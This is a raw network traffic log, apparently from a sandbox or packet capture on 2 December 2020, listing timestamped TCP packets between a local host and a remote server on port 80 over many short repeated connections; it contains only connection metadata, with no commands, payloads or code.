Dec 2, 2020 11:52:44.871509075 CET	80	49720	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:44.872364044 CET	49720	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:44.925144911 CET	80	49720	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:44.947917938 CET	80	49720	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:44.947951078 CET	80	49720	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:44.948055983 CET	49720	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:44.948110104 CET	49720	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:45.000437021 CET	80	49720	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:45.613316059 CET	49721	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:45.666416883 CET	80	49721	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:45.666527987 CET	49721	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:45.670062065 CET	49721	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:45.721982956 CET	80	49721	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:45.722135067 CET	49721	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:45.774557114 CET	80	49721	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:45.795233965 CET	80	49721	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:45.795258045 CET	80	49721	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:45.795373917 CET	49721	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:45.839304924 CET	49721	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:45.891160011 CET	80	49721	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:46.135173082 CET	49722	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:46.187201977 CET	80	49722	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:46.187385082 CET	49722	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:46.501884937 CET	49722	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:46.553736925 CET	80	49722	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:46.553891897 CET	49722	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:46.605909109 CET	80	49722	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:46.626796007 CET	80	49722	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:46.626816988 CET	80	49722	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:46.626956940 CET	49722	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:46.627440929 CET	49722	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:46.679178953 CET	80	49722	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:47.143943071 CET	49723	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:47.196749926 CET	80	49723	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:47.196885109 CET	49723	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:47.200282097 CET	49723	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:47.253904104 CET	80	49723	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:47.253993034 CET	49723	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:47.308057070 CET	80	49723	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:47.331655025 CET	80	49723	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:47.331680059 CET	80	49723	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:47.331810951 CET	49723	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:47.331890106 CET	49723	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:47.384161949 CET	80	49723	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:47.562874079 CET	49724	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:47.615319014 CET	80	49724	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:47.615433931 CET	49724	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:47.619406939 CET	49724	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:47.671931982 CET	80	49724	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:47.672055006 CET	49724	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:47.724229097 CET	80	49724	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:47.748179913 CET	80	49724	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:47.748205900 CET	80	49724	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:47.748323917 CET	49724	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:47.748347998 CET	49724	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:47.801124096 CET	80	49724	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:47.993343115 CET	49725	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.045789003 CET	80	49725	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:48.045932055 CET	49725	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.049426079 CET	49725	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.111053944 CET	80	49725	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:48.111213923 CET	49725	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.163687944 CET	80	49725	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:48.184302092 CET	80	49725	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:48.184334040 CET	80	49725	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:48.184492111 CET	49725	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.184588909 CET	49725	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.238178968 CET	80	49725	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:48.420404911 CET	49726	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.473089933 CET	80	49726	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:48.473290920 CET	49726	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.489829063 CET	49726	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.542267084 CET	80	49726	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:48.542445898 CET	49726	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.595082045 CET	80	49726	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:48.616770983 CET	80	49726	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:48.616822958 CET	80	49726	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:48.616942883 CET	49726	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.617018938 CET	49726	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.669677973 CET	80	49726	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:48.824300051 CET	49727	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.877916098 CET	80	49727	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:48.878339052 CET	49727	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.881874084 CET	49727	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.933549881 CET	80	49727	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:48.933732033 CET	49727	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:48.985455990 CET	80	49727	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:49.007215023 CET	80	49727	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:49.007244110 CET	80	49727	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:49.007407904 CET	49727	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:49.007437944 CET	49727	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:49.059087038 CET	80	49727	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:49.232285976 CET	49728	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:49.284529924 CET	80	49728	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:49.284663916 CET	49728	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:49.288846016 CET	49728	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:49.344180107 CET	80	49728	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:49.344322920 CET	49728	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:49.396284103 CET	80	49728	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:49.418236971 CET	80	49728	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:49.418268919 CET	80	49728	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:49.418683052 CET	49728	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:49.418708086 CET	49728	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:49.471590996 CET	80	49728	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:49.696527004 CET	49729	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:49.749725103 CET	80	49729	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:49.749869108 CET	49729	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:49.753380060 CET	49729	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:49.806351900 CET	80	49729	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:49.806524038 CET	49729	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:49.860044956 CET	80	49729	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:49.881766081 CET	80	49729	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:49.881809950 CET	80	49729	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:49.881970882 CET	49729	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:49.882067919 CET	49729	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:49.934818029 CET	80	49729	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:50.130819082 CET	49730	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:50.183549881 CET	80	49730	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:50.183809996 CET	49730	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:50.187410116 CET	49730	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:50.239682913 CET	80	49730	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:50.239814043 CET	49730	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:50.292112112 CET	80	49730	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:50.313590050 CET	80	49730	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:50.313632011 CET	80	49730	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:50.313744068 CET	49730	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:50.313777924 CET	49730	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:50.366276979 CET	80	49730	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:50.572312117 CET	49731	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:50.625363111 CET	80	49731	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:50.625467062 CET	49731	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:50.629810095 CET	49731	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:50.681766987 CET	80	49731	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:50.681869030 CET	49731	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:50.733228922 CET	80	49731	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:50.756248951 CET	80	49731	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:50.756270885 CET	80	49731	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:50.756335974 CET	49731	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:50.756386995 CET	49731	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:50.809437037 CET	80	49731	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:51.014552116 CET	49732	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:51.067189932 CET	80	49732	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:51.067327976 CET	49732	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:51.071178913 CET	49732	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:51.123727083 CET	80	49732	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:51.123859882 CET	49732	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:51.176671028 CET	80	49732	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:51.201095104 CET	80	49732	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:51.201137066 CET	80	49732	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:51.201231956 CET	49732	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:51.201256037 CET	49732	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:51.254654884 CET	80	49732	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:51.432761908 CET	49733	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:51.484755993 CET	80	49733	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:51.484941959 CET	49733	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:51.489197016 CET	49733	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:51.541114092 CET	80	49733	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:51.541227102 CET	49733	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:51.600330114 CET	80	49733	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:51.665469885 CET	80	49733	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:51.665499926 CET	80	49733	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:51.665663004 CET	49733	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:51.665710926 CET	49733	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:51.717617035 CET	80	49733	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:51.930563927 CET	49734	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:51.983155966 CET	80	49734	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:51.986118078 CET	49734	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:51.988950968 CET	49734	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:52.041258097 CET	80	49734	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:52.041430950 CET	49734	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:52.096945047 CET	80	49734	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:52.132110119 CET	80	49734	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:52.132138014 CET	80	49734	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:52.132287979 CET	49734	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:52.132606030 CET	49734	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:52.184711933 CET	80	49734	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:52.433507919 CET	49735	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:52.486124039 CET	80	49735	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:52.488142967 CET	49735	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:52.491063118 CET	49735	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:52.543560982 CET	80	49735	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:52.544442892 CET	49735	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:52.596992016 CET	80	49735	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:52.618566990 CET	80	49735	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:52.618622065 CET	80	49735	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:52.618865013 CET	49735	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:52.618896008 CET	49735	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:52.672725916 CET	80	49735	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:52.824446917 CET	49737	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:52.877223015 CET	80	49737	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:52.877429962 CET	49737	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:52.880419970 CET	49737	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:52.938518047 CET	80	49737	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:52.938637018 CET	49737	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:52.994662046 CET	80	49737	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.017894030 CET	80	49737	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.017920971 CET	80	49737	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.018054962 CET	49737	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:53.018099070 CET	49737	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:53.124978065 CET	80	49737	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.125075102 CET	49737	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:53.128633976 CET	80	49737	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.270006895 CET	49740	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:53.324171066 CET	80	49740	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.324316025 CET	49740	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:53.327474117 CET	49740	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:53.382328987 CET	80	49740	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.382477999 CET	49740	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:53.435245991 CET	80	49740	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.459325075 CET	80	49740	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.459352016 CET	80	49740	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.459502935 CET	49740	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:53.459583044 CET	49740	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:53.512610912 CET	80	49740	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.722524881 CET	49741	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:53.774750948 CET	80	49741	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.774861097 CET	49741	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:53.777770042 CET	49741	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:53.830013037 CET	80	49741	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.830080032 CET	49741	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:53.882267952 CET	80	49741	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.903446913 CET	80	49741	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.903476954 CET	80	49741	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.903548002 CET	49741	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:53.903574944 CET	49741	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:53.955826998 CET	80	49741	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.955864906 CET	80	49741	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:53.955992937 CET	49741	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:54.147746086 CET	49742	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:54.201075077 CET	80	49742	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:54.201193094 CET	49742	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:54.204572916 CET	49742	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:54.261749983 CET	80	49742	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:54.261811972 CET	49742	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:54.317683935 CET	80	49742	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:54.341794968 CET	80	49742	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:54.341835022 CET	80	49742	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:54.341881037 CET	49742	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:54.341928959 CET	49742	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:54.394645929 CET	80	49742	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:54.604258060 CET	49743	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:54.656949997 CET	80	49743	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:54.657593966 CET	49743	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:54.660317898 CET	49743	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:54.711915016 CET	80	49743	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:54.712184906 CET	49743	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:54.763891935 CET	80	49743	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:54.786220074 CET	80	49743	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:54.786246061 CET	80	49743	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:54.786365986 CET	49743	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:54.786411047 CET	49743	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:54.841531992 CET	80	49743	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:55.052794933 CET	49744	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:55.106204987 CET	80	49744	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:55.111207962 CET	49744	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:55.114402056 CET	49744	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:55.168013096 CET	80	49744	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:55.168152094 CET	49744	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:55.220961094 CET	80	49744	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:55.244730949 CET	80	49744	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:55.244769096 CET	80	49744	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:55.244977951 CET	49744	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:55.245035887 CET	49744	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:55.297307014 CET	80	49744	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:55.443448067 CET	49745	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:55.495680094 CET	80	49745	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:55.495795012 CET	49745	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:55.544487000 CET	49745	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:55.596345901 CET	80	49745	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:55.596440077 CET	49745	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:55.649012089 CET	80	49745	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:55.674252987 CET	80	49745	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:55.674278021 CET	80	49745	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:55.674365044 CET	49745	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:55.674484015 CET	49745	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:55.726207972 CET	80	49745	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:55.923448086 CET	49746	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:55.977107048 CET	80	49746	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:55.977277994 CET	49746	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:55.981451988 CET	49746	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:56.053781033 CET	80	49746	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.053913116 CET	49746	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:56.106298923 CET	80	49746	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.194096088 CET	80	49746	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.194122076 CET	80	49746	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.194252014 CET	49746	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:56.194313049 CET	49746	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:56.247328997 CET	80	49746	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.432964087 CET	49747	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:56.485492945 CET	80	49747	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.485663891 CET	49747	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:56.489115000 CET	49747	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:56.541619062 CET	80	49747	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.541968107 CET	49747	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:56.594615936 CET	80	49747	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.615647078 CET	80	49747	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.615708113 CET	80	49747	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.615780115 CET	49747	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:56.617491961 CET	49747	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:56.670824051 CET	80	49747	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.799231052 CET	49748	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:56.853033066 CET	80	49748	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.853224993 CET	49748	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:56.856209993 CET	49748	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:56.909560919 CET	80	49748	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.909864902 CET	49748	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:56.962670088 CET	80	49748	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.986978054 CET	80	49748	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.987040043 CET	80	49748	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:56.987138987 CET	49748	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:56.987283945 CET	49748	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:57.042236090 CET	80	49748	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:57.212182999 CET	49749	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:57.266036034 CET	80	49749	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:57.266148090 CET	49749	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:57.268927097 CET	49749	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:57.322961092 CET	80	49749	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:57.323098898 CET	49749	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:57.377074003 CET	80	49749	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:57.405086040 CET	80	49749	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:57.405116081 CET	80	49749	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:57.405287027 CET	49749	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:57.405333042 CET	49749	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:57.457844019 CET	80	49749	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:57.686172009 CET	49750	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:57.738847017 CET	80	49750	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:57.741368055 CET	49750	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:57.744998932 CET	49750	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:57.804090977 CET	80	49750	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:57.804277897 CET	49750	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:57.856832027 CET	80	49750	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:57.883454084 CET	80	49750	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:57.883476973 CET	80	49750	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:57.883683920 CET	49750	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:57.936269999 CET	80	49750	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:58.063837051 CET	49751	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:58.116362095 CET	80	49751	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:58.116498947 CET	49751	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:58.120465994 CET	49751	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:58.172971010 CET	80	49751	45.144.3.234	192.168.2.6
